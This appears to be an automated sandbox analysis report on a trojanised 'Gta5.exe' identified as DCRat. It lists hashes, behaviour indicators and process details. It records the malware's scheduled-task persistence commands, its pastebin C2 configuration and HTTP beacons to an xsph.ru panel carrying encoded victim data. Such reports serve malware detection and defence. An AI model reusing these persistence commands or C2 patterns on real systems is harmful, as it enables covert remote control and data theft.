File name:

Gta5.exe

Full analysis: https://app.any.run/tasks/d5f614b8-4501-4062-9be5-28ad5508a881
Verdict: Malicious activity
Threats:

A backdoor is a type of cybersecurity threat that allows attackers to secretly compromise a system and conduct malicious activities, such as stealing data and modifying files. Backdoors can be difficult to detect, as they often use legitimate system applications to evade defense mechanisms. Threat actors often utilize special malware, such as PlugX, to establish backdoors on target devices.

Malware Trends Tracker     >>>
Analysis date: February 23, 2024, 14:38:09
OS: Windows 7 Professional Service Pack 1 (build: 7601, 32 bit)
Tags:
rat
backdoor
dcrat
remote
stealer
Indicators:
MIME: application/x-dosexec
File info: PE32 executable (GUI) Intel 80386, for MS Windows
MD5:

85B9C69129033611E80201160FBB4333

SHA1:

B450466D76278E7C4EC868091232B143066E990A

SHA256:

2AAF16BD61C2AC065C81B7B23D73313191DB267A78A24164614525B017DF082D

SSDEEP:

24576:HZPrK87M5rSv0lvPZobtnZD560poTOCu8HsHJ+hi4RM/UoCLaNcy3p:HFrKj5G0lvhoVh560poTOCu8H2/zcOp

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

  • MALICIOUS

    • Drops the executable file immediately after the start

      • Gta5.exe (PID: 3668)
      • Providerbroker.exe (PID: 2844)
      • Providerbroker.exe (PID: 2344)

    • Uses sleep, probably for evasion detection (SCRIPT)

      • wscript.exe (PID: 3656)

    • Connects to the CnC server

      • csrss.exe (PID: 3472)

    • DCRAT has been detected (YARA)

      • csrss.exe (PID: 3472)

    • Actions looks like stealing of personal data

      • csrss.exe (PID: 3472)

    • DCRAT has been detected (SURICATA)

      • csrss.exe (PID: 3472)

  • SUSPICIOUS

    • Reads security settings of Internet Explorer

      • Gta5.exe (PID: 3668)
      • Providerbroker.exe (PID: 2844)
      • Providerbroker.exe (PID: 2344)
      • csrss.exe (PID: 3472)

    • Reads the Internet Settings

      • Gta5.exe (PID: 3668)
      • wscript.exe (PID: 3656)
      • Providerbroker.exe (PID: 2844)
      • Providerbroker.exe (PID: 2344)
      • csrss.exe (PID: 3472)
      • sipnotify.exe (PID: 1512)

    • Executable content was dropped or overwritten

      • Gta5.exe (PID: 3668)
      • Providerbroker.exe (PID: 2844)
      • Providerbroker.exe (PID: 2344)

    • Runs shell command (SCRIPT)

      • wscript.exe (PID: 3656)

    • Executing commands from a ".bat" file

      • wscript.exe (PID: 3656)
      • Providerbroker.exe (PID: 2844)

    • Starts CMD.EXE for commands execution

      • wscript.exe (PID: 3656)
      • Providerbroker.exe (PID: 2844)
      • csrss.exe (PID: 3472)

    • Likely accesses (executes) a file from the Public directory

      • schtasks.exe (PID: 2636)
      • schtasks.exe (PID: 3212)
      • schtasks.exe (PID: 2340)
      • schtasks.exe (PID: 1584)
      • schtasks.exe (PID: 296)
      • schtasks.exe (PID: 2020)
      • schtasks.exe (PID: 4064)
      • schtasks.exe (PID: 2656)
      • schtasks.exe (PID: 3112)
      • csrss.exe (PID: 3472)

    • Executed via WMI

      • schtasks.exe (PID: 2636)
      • schtasks.exe (PID: 3212)
      • schtasks.exe (PID: 2340)
      • schtasks.exe (PID: 2648)
      • schtasks.exe (PID: 4008)
      • schtasks.exe (PID: 1696)
      • schtasks.exe (PID: 2692)
      • schtasks.exe (PID: 3276)
      • schtasks.exe (PID: 3940)
      • schtasks.exe (PID: 3516)
      • schtasks.exe (PID: 2292)
      • schtasks.exe (PID: 2896)
      • schtasks.exe (PID: 2756)
      • schtasks.exe (PID: 1824)
      • schtasks.exe (PID: 956)
      • schtasks.exe (PID: 696)
      • schtasks.exe (PID: 3508)
      • schtasks.exe (PID: 1992)
      • schtasks.exe (PID: 1336)
      • schtasks.exe (PID: 1860)
      • schtasks.exe (PID: 1572)
      • schtasks.exe (PID: 2432)
      • schtasks.exe (PID: 3072)
      • schtasks.exe (PID: 1308)
      • schtasks.exe (PID: 3324)
      • schtasks.exe (PID: 2724)
      • schtasks.exe (PID: 2788)
      • schtasks.exe (PID: 2244)
      • schtasks.exe (PID: 1844)
      • schtasks.exe (PID: 568)
      • schtasks.exe (PID: 2804)
      • schtasks.exe (PID: 3404)
      • schtasks.exe (PID: 2336)
      • schtasks.exe (PID: 2372)
      • schtasks.exe (PID: 1656)
      • schtasks.exe (PID: 2184)
      • schtasks.exe (PID: 3984)
      • schtasks.exe (PID: 1816)
      • schtasks.exe (PID: 2176)
      • schtasks.exe (PID: 1892)
      • schtasks.exe (PID: 2632)
      • schtasks.exe (PID: 1544)
      • schtasks.exe (PID: 2668)
      • schtasks.exe (PID: 2760)
      • schtasks.exe (PID: 1784)
      • schtasks.exe (PID: 2468)
      • schtasks.exe (PID: 480)
      • schtasks.exe (PID: 448)
      • schtasks.exe (PID: 296)
      • schtasks.exe (PID: 2020)
      • schtasks.exe (PID: 1584)
      • schtasks.exe (PID: 2348)
      • schtasks.exe (PID: 2588)
      • schtasks.exe (PID: 2404)
      • schtasks.exe (PID: 4064)
      • schtasks.exe (PID: 4080)
      • schtasks.exe (PID: 2984)
      • schtasks.exe (PID: 2656)
      • schtasks.exe (PID: 3336)
      • schtasks.exe (PID: 2192)
      • schtasks.exe (PID: 3112)
      • schtasks.exe (PID: 1264)
      • schtasks.exe (PID: 1392)
      • schtasks.exe (PID: 572)
      • schtasks.exe (PID: 4092)
      • schtasks.exe (PID: 2028)
      • schtasks.exe (PID: 1604)
      • schtasks.exe (PID: 3808)
      • schtasks.exe (PID: 2492)

    • The process creates files with name similar to system file names

      • Providerbroker.exe (PID: 2844)
      • Providerbroker.exe (PID: 2344)

    • Probably delay the execution using 'w32tm.exe'

      • cmd.exe (PID: 124)

    • Starts itself from another location

      • Providerbroker.exe (PID: 2344)

    • Reads settings of System Certificates

      • csrss.exe (PID: 3472)
      • sipnotify.exe (PID: 1512)

    • The process executes via Task Scheduler

      • sipnotify.exe (PID: 1512)
      • ctfmon.exe (PID: 1468)

    • Uses TASKKILL.EXE to kill process

      • cmd.exe (PID: 3756)

    • The system shut down or reboot

      • csrss.exe (PID: 3472)

  • INFO

    • Checks supported languages

      • Gta5.exe (PID: 3668)
      • Providerbroker.exe (PID: 2844)
      • Providerbroker.exe (PID: 2344)
      • csrss.exe (PID: 3472)
      • IMEKLMG.EXE (PID: 1488)
      • IMEKLMG.EXE (PID: 116)
      • wmpnscfg.exe (PID: 2280)
      • wmpnscfg.exe (PID: 2300)

    • Reads the computer name

      • Gta5.exe (PID: 3668)
      • Providerbroker.exe (PID: 2844)
      • Providerbroker.exe (PID: 2344)
      • csrss.exe (PID: 3472)
      • IMEKLMG.EXE (PID: 1488)
      • wmpnscfg.exe (PID: 2280)
      • IMEKLMG.EXE (PID: 116)
      • wmpnscfg.exe (PID: 2300)

    • Reads the machine GUID from the registry

      • Providerbroker.exe (PID: 2844)
      • Providerbroker.exe (PID: 2344)
      • csrss.exe (PID: 3472)

    • Reads product name

      • Providerbroker.exe (PID: 2844)
      • Providerbroker.exe (PID: 2344)
      • csrss.exe (PID: 3472)

    • Reads Environment values

      • Providerbroker.exe (PID: 2844)
      • Providerbroker.exe (PID: 2344)
      • csrss.exe (PID: 3472)

    • Create files in a temporary directory

      • Providerbroker.exe (PID: 2844)

    • Manual execution by a user

      • IMEKLMG.EXE (PID: 1488)
      • IMEKLMG.EXE (PID: 116)
      • wmpnscfg.exe (PID: 2280)
      • wmpnscfg.exe (PID: 2300)

    • Process checks whether UAC notifications are on

      • IMEKLMG.EXE (PID: 1488)
      • IMEKLMG.EXE (PID: 116)

    • Reads the software policy settings

      • csrss.exe (PID: 3472)
      • sipnotify.exe (PID: 1512)

    • Reads security settings of Internet Explorer

      • sipnotify.exe (PID: 1512)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report

DcRat

(PID) Process(3472) csrss.exe
C2 (1)https://pastebin.com/raw/cRNWuKbz
Options
MutexDCR_MUTEX-jxzogANbYiyuRKIIi61M
searchpath%UsersFolder% - Fast
Targetals
No Malware configuration.

TRiD

.exe | Win32 Executable (generic) (52.9)
.exe | Generic Win/DOS Executable (23.5)
.exe | DOS Executable Generic (23.5)

EXIF

EXE

MachineType: Intel 386 or later, and compatibles
TimeStamp: 2020:12:01 18:00:55+00:00
ImageFileCharacteristics: Executable, 32-bit
PEType: PE32
LinkerVersion: 14
CodeSize: 201216
InitializedDataSize: 255488
UninitializedDataSize: -
EntryPoint: 0x1ec40
OSVersion: 5.1
ImageVersion: -
SubsystemVersion: 5.1
Subsystem: Windows GUI
No data.
screenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
174
Monitored processes
89
Malicious processes
8
Suspicious processes
0

Behavior graph

Click at the process to see the details
start gta5.exe wscript.exe no specs cmd.exe no specs providerbroker.exe schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs cmd.exe no specs w32tm.exe no specs providerbroker.exe schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs #DCRAT csrss.exe cmd.exe no specs taskkill.exe no specs taskkill.exe no specs taskkill.exe no specs taskkill.exe no specs shutdown.exe no specs ctfmon.exe no specs sipnotify.exe imeklmg.exe no specs imeklmg.exe no specs wmpnscfg.exe no specs wmpnscfg.exe no specs

Process information

PID
CMD
Path
Indicators
Parent process
116"C:\Program Files\Common Files\microsoft shared\IME14\SHARED\IMEKLMG.EXE" /SetPreload /KOR /LogC:\Program Files\Common Files\microsoft shared\IME14\SHARED\IMEKLMG.EXE—explorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft Office IME 2010
Exit code:
1
Version:
14.0.4734.1000
Modules
Images
c:\program files\common files\microsoft shared\ime14\shared\imeklmg.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\userenv.dll
124C:\Windows\system32\cmd.exe /c ""C:\Users\admin\AppData\Local\Temp\okaRDu1Ov4.bat" "C:\Windows\System32\cmd.exe—Providerbroker.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
1
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
Modules
Images
c:\windows\system32\cmd.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\winbrand.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
296schtasks.exe /create /tn "spoolsvs" /sc MINUTE /mo 7 /tr "'C:\Users\Public\Pictures\spoolsv.exe'" /fC:\Windows\System32\schtasks.exe—WmiPrvSE.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Manages scheduled tasks
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\schtasks.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
c:\windows\system32\ole32.dll
448schtasks.exe /create /tn "winlogon" /sc ONLOGON /tr "'C:\portcom\winlogon.exe'" /rl HIGHEST /fC:\Windows\System32\schtasks.exe—WmiPrvSE.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Manages scheduled tasks
Exit code:
1
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\schtasks.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
c:\windows\system32\ole32.dll
480schtasks.exe /create /tn "winlogonw" /sc MINUTE /mo 13 /tr "'C:\portcom\winlogon.exe'" /fC:\Windows\System32\schtasks.exe—WmiPrvSE.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Manages scheduled tasks
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\schtasks.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
c:\windows\system32\ole32.dll
568schtasks.exe /create /tn "Providerbroker" /sc ONLOGON /tr "'C:\MSOCache\All Users\{90140000-0015-0412-0000-0000000FF1CE}-C\Providerbroker.exe'" /rl HIGHEST /fC:\Windows\System32\schtasks.exe—WmiPrvSE.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Manages scheduled tasks
Exit code:
1
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\schtasks.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
c:\windows\system32\ole32.dll
572schtasks.exe /create /tn "WmiPrvSEW" /sc MINUTE /mo 11 /tr "'C:\portcom\WmiPrvSE.exe'" /fC:\Windows\System32\schtasks.exe—WmiPrvSE.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Manages scheduled tasks
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\schtasks.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
c:\windows\system32\ole32.dll
696schtasks.exe /create /tn "smsss" /sc MINUTE /mo 8 /tr "'C:\portcom\smss.exe'" /rl HIGHEST /fC:\Windows\System32\schtasks.exe—WmiPrvSE.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Manages scheduled tasks
Exit code:
1
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\schtasks.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
c:\windows\system32\ole32.dll
956schtasks.exe /create /tn "smsss" /sc MINUTE /mo 6 /tr "'C:\portcom\smss.exe'" /fC:\Windows\System32\schtasks.exe—WmiPrvSE.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Manages scheduled tasks
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\schtasks.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
c:\windows\system32\ole32.dll
1036w32tm /stripchart /computer:localhost /period:5 /dataonly /samples:2 C:\Windows\System32\w32tm.exe—cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Time Service Diagnostic Tool
Exit code:
0
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
Modules
Images
c:\windows\system32\w32tm.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
Total events
16 959
Read events
16 838
Write events
96
Delete events
25

Modification events

(PID) Process:(3668) Gta5.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:ProxyBypass
Value:
1
(PID) Process:(3668) Gta5.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:IntranetName
Value:
1
(PID) Process:(3668) Gta5.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:UNCAsIntranet
Value:
1
(PID) Process:(3668) Gta5.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:AutoDetect
Value:
0
(PID) Process:(3656) wscript.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:ProxyBypass
Value:
1
(PID) Process:(3656) wscript.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:IntranetName
Value:
1
(PID) Process:(3656) wscript.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:UNCAsIntranet
Value:
1
(PID) Process:(3656) wscript.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:AutoDetect
Value:
0
(PID) Process:(2844) Providerbroker.exeKey:HKEY_CURRENT_USER\Software\af971a728e4bd6579d9090698da0f2d0cc06d87c
Operation:writeName:a8cb8692500bad2caee1653b7e531a4c66234bb0
Value:
WyJDOlxccG9ydGNvbVxcUHJvdmlkZXJicm9rZXIuZXhlIiwiQzpcXFVzZXJzXFxQdWJsaWNcXE11c2ljXFxTYW1wbGUgTXVzaWNcXFByb3ZpZGVyYnJva2VyLmV4ZSIsIkM6XFxNU09DYWNoZVxcQWxsIFVzZXJzXFx7OTAxNDAwMDAtMDAxOC0wNDExLTAwMDAtMDAwMDAwMEZGMUNFfS1DXFxTZWFyY2hJbmRleGVyLmV4ZSIsIkM6XFxNU09DYWNoZVxcQWxsIFVzZXJzXFxJTUVESUNUVVBEQVRFLmV4ZSIsIkM6XFxXaW5kb3dzXFx0cmFjaW5nXFxQb3dlclRyYWNrZXJcXFNlYXJjaFByb3RvY29sSG9zdC5leGUiLCJDOlxccG9ydGNvbVxcc21zcy5leGUiLCJDOlxccG9ydGNvbVxcbHNtLmV4ZSIsIkM6XFxwb3J0Y29tXFx0YXNraG9zdC5leGUiLCJDOlxcTVNPQ2FjaGVcXEFsbCBVc2Vyc1xcezkwMTQwMDAwLTAwMTktMDQwOS0wMDAwLTAwMDAwMDBGRjFDRX0tQ1xcY3Nyc3MuZXhlIiwiQzpcXHBvcnRjb21cXG1zaWV4ZWMuZXhlIiwiQzpcXE1TT0NhY2hlXFxBbGwgVXNlcnNcXHs5MDE0MDAwMC0wMEExLTA0MTEtMDAwMC0wMDAwMDAwRkYxQ0V9LUNcXFByb3ZpZGVyYnJva2VyLmV4ZSIsIkM6XFxNU09DYWNoZVxcQWxsIFVzZXJzXFx7OTAxNDAwMDAtMDEwMC0wNDEwLTAwMDAtMDAwMDAwMEZGMUNFfS1DXFxsc2Fzcy5leGUiLCJDOlxcTVNPQ2FjaGVcXEFsbCBVc2Vyc1xcezkwMTQwMDAwLTAwMTUtMDQxMi0wMDAwLTAwMDAwMDBGRjFDRX0tQ1xcUHJvdmlkZXJicm9rZXIuZXhlIiwiQzpcXFVzZXJzXFxhZG1pblxcVmlkZW9zXFxleHBsb3Jlci5leGUiLCJDOlxcTVNPQ2FjaGVcXEFsbCBVc2Vyc1xcSU1FRElDVFVQREFURS5leGUiLCJDOlxcTVNPQ2FjaGVcXEFsbCBVc2Vyc1xcezkwMTQwMDAwLTAwMTktMDQxMC0wMDAwLTAwMDAwMDBGRjFDRX0tQ1xcc21zcy5leGUiLCJDOlxccG9ydGNvbVxcd2lubG9nb24uZXhlIiwiQzpcXFVzZXJzXFxQdWJsaWNcXFBpY3R1cmVzXFxzcG9vbHN2LmV4ZSIsIkM6XFxwb3J0Y29tXFxTZWFyY2hGaWx0ZXJIb3N0LmV4ZSJd
(PID) Process:(2844) Providerbroker.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:ProxyBypass
Value:
1
Executable files
23
Suspicious files
1
Text files
30
Unknown types
1

Dropped files

PID
Process
Filename
Type
3668Gta5.exeC:\portcom\Providerbroker.exeexecutable
MD5:F6402379C48E29069880AEC513B95367
SHA256:EEC87A0EED2F038F4146A1AFD38BB8544EF7A782CD17C792B672D664424A5D87
2844Providerbroker.exeC:\portcom\smss.exeexecutable
MD5:F6402379C48E29069880AEC513B95367
SHA256:EEC87A0EED2F038F4146A1AFD38BB8544EF7A782CD17C792B672D664424A5D87
2844Providerbroker.exeC:\Users\Public\Music\Sample Music\Providerbroker.exeexecutable
MD5:F6402379C48E29069880AEC513B95367
SHA256:EEC87A0EED2F038F4146A1AFD38BB8544EF7A782CD17C792B672D664424A5D87
2844Providerbroker.exeC:\MSOCache\All Users\IMEDICTUPDATE.exeexecutable
MD5:F6402379C48E29069880AEC513B95367
SHA256:EEC87A0EED2F038F4146A1AFD38BB8544EF7A782CD17C792B672D664424A5D87
2844Providerbroker.exeC:\MSOCache\All Users\1173b9a28a9c10text
MD5:21042E83F64B762FB3FF9AE9EB837FDD
SHA256:F4CB1C7C6E3EB40FEB08847B2CB6A9AB39BBAF77CF45E8D0D44AE606CAA64FF7
2844Providerbroker.exeC:\MSOCache\All Users\{90140000-0018-0411-0000-0000000FF1CE}-C\SearchIndexer.exeexecutable
MD5:F6402379C48E29069880AEC513B95367
SHA256:EEC87A0EED2F038F4146A1AFD38BB8544EF7A782CD17C792B672D664424A5D87
2844Providerbroker.exeC:\MSOCache\All Users\{90140000-0018-0411-0000-0000000FF1CE}-C\4a1145983886catext
MD5:8F2C499D565DEFD9BAA3373FE75DFB54
SHA256:1771B9CC7F7192A78101F34043A5FFDB930FF75D0CC6815EFDAE1CD0A3ED7BE0
2844Providerbroker.exeC:\portcom\69ddcba757bf72text
MD5:8C5D0891C9D55DBC24E88FB54813B498
SHA256:52FBA7E79B4E80A40517624B47F4F30DD91FE2A1531E22DAA12B8F12F5EEECDF
2844Providerbroker.exeC:\Users\Public\Music\Sample Music\6de26ae6effacftext
MD5:C5E9510B39C8CE7B2D9E5E7C75D80826
SHA256:B50C15B806AFC009DB7DAA1B79B1C5292E1DDB1F4B90CED8A145F92105A66AD0
2844Providerbroker.exeC:\MSOCache\All Users\{90140000-0019-0409-0000-0000000FF1CE}-C\csrss.exeexecutable
MD5:F6402379C48E29069880AEC513B95367
SHA256:EEC87A0EED2F038F4146A1AFD38BB8544EF7A782CD17C792B672D664424A5D87
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
52
TCP/UDP connections
14
DNS requests
3
Threats
6

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
3472
csrss.exe
GET
200
141.8.192.26:80
http://a0923857.xsph.ru/_Defaultwindows.php?k2NH36kwXoSuyR85il2R9NMu7=4TEWu&ApDsIgYI7PXexy=qgjufyrxXpdKvCRsB42uJNP&BNuTuzs6IaNwemOkS1pDoWnFq=Wj4EicQwsSDXDh6hB&fb46827aa6dc993f6b9c8a00c5afb7c7=QMlBzMhNTN1QjNxYjN3IDZkVjMjZzM0YjMmdDNjFGMyIGNxkzM0QTZzQjM3ATO5cDNxYjN1IzM&8215bd871a8d1b9b1cd4a4c2e6126254=wY2ATZhdDMxI2YlRGO1EGMlFWOmZWM5YmNyIDMjJjZwIWMihDOzYDO&ca39329153548335c2090faaac3d0c52=0VfiIiOiITZ2UmMlVWZhBDMllDZkNTNyQjNjZzY1cjYlhTZ3kzMiwiIxcDOzcTM1MmYhFjYxMmMmFmY1QWY3gDNiNWYjlTOhNWN1IWY4EWZhJiOigjZyMjM3kzNxEmM4gzMlZTM4MTMxMWZyIGM3QWO4Y2YiwiIzMjZzITN0UmZkRDNyMDOyIWYmdTZ5gjN3MzYmZDOyIzMwE2Y4ETM3IiOiUDNkVzMjhDZ0UjNlVGOycjNwAzNmFmNkdzMlBTYmBTYis3W
unknown
text
2.08 Kb
unknown
3472
csrss.exe
GET
200
141.8.192.26:80
http://a0923857.xsph.ru/_Defaultwindows.php?eNYqScRhMIpkonNdIBE2vgs46g=yIGHUSRMT83mlQ4EoCrZu0Eyf7cD7&413cb1f7ec5868b1969297485a704f5f=739f6957224d46546a93b9c6db515fd1&8215bd871a8d1b9b1cd4a4c2e6126254=gMwUTM2YDZ3gjZhRjY3cTZmFWY2IDZxYWMilzYhdzN4ITM1ITZzkTN&eNYqScRhMIpkonNdIBE2vgs46g=yIGHUSRMT83mlQ4EoCrZu0Eyf7cD7
unknown
text
2.08 Kb
unknown
3472
csrss.exe
GET
200
141.8.192.26:80
http://a0923857.xsph.ru/_Defaultwindows.php?k2NH36kwXoSuyR85il2R9NMu7=4TEWu&ApDsIgYI7PXexy=qgjufyrxXpdKvCRsB42uJNP&BNuTuzs6IaNwemOkS1pDoWnFq=Wj4EicQwsSDXDh6hB&fb46827aa6dc993f6b9c8a00c5afb7c7=QMlBzMhNTN1QjNxYjN3IDZkVjMjZzM0YjMmdDNjFGMyIGNxkzM0QTZzQjM3ATO5cDNxYjN1IzM&8215bd871a8d1b9b1cd4a4c2e6126254=wY2ATZhdDMxI2YlRGO1EGMlFWOmZWM5YmNyIDMjJjZwIWMihDOzYDO&e217e4de0d144b457087c03917bdcf33=d1nI0UDN3ITM1cDOhlTM0YTMyEzM0gTYiNzNwQWY3ITM3UjYzEGNmBTYhJiOigjZyMjM3kzNxEmM4gzMlZTM4MTMxMWZyIGM3QWO4Y2YiwiIzMjZzITN0UmZkRDNyMDOyIWYmdTZ5gjN3MzYmZDOyIzMwE2Y4ETM3IiOiUDNkVzMjhDZ0UjNlVGOycjNwAzNmFmNkdzMlBTYmBTYis3W&ca39329153548335c2090faaac3d0c52=d1nIiojIyUmNlJTZlVWYwATZ5QGZzUjM0YzY2MWN3IWZ4U2N5MjIsICN1QzNyETN3gTY5EDN2EjMxMDN4EmYzcDMkF2NyEzN1I2MhRjZwEWYiojI4YmMzIzN5cTMhJDO4MTZ2EDOzETMjVmMiBzNklDOmNmIsIyMzY2MyUDNlZGZ0QjMzgjMiFmZ3UWO4YzNzMmZ2gjMyMDMhNGOxEzNiojI1QDZ1MzY4QGN1YTZlhjM3YDMwcjZhZDZ3MTZwEmZwEmI7xSfiElZx8maJBjVzIGbxcVYVJEWaxGeyUVa3lWSspFWhBjTXFVavpWS6ZFSkhmUzUVNShVYyw2RkpmRrl0cJl2YsR2VZVnRXR1ZwcVW5RmMilnQslkNJlHZ2JVbiBHZGZFRGtWSzlUaUl2bqlEdGJTWpZlMWpHbtl0cJN1Vp9maJxWNyI2bCNjY550Vh5kTYFWa3lWSwRjMkZXNyEWdWZ0SnRjMkZXNyEWdWxWS2k0UaRnRtRlVCFTUpdXaJBHNyQmd1ITY1ZlRLdGNyQmd1ITY1ZFbJZTSTpFdG1GVWJUMSl2dpl0TKl2TpRzVhRnUXFles1WSzlUaJZTS5JlQSxWSzl0QkBnSFlUeNRUSzZUbiZHbyMmeW1mW2pESVd2YElkekNjYrVzVhhlSp9UaJhlWXVzVhhlSDxUOKlmYwhXbjxmSwwEbCNjY5ZFWSl2bqlEb1IjY2Y1ViBnUul0cJNUT3FERNdXQqlkNJNkYoJ1MjZnQul0cJNVZ1Z0VilnVyI1ZwMUSrZ1Vh1GbykFbCNzYnF1Mi9kSp9Uaj12Y2p0QMlWTE5ENZpGT0c3QPRTRU1UdBRlTp9maJpWOHJWa3lWSGJ1aJZTSTVWeS5mYxkjMZl2dplEbONzYsh2aJZTSpJmdsJjWspkbJNXSpJGcGdFVnBzVZdWUuNWMaJTY1ZUbjdkSp9UarhEZw5UbJNXSp5kMFpGTz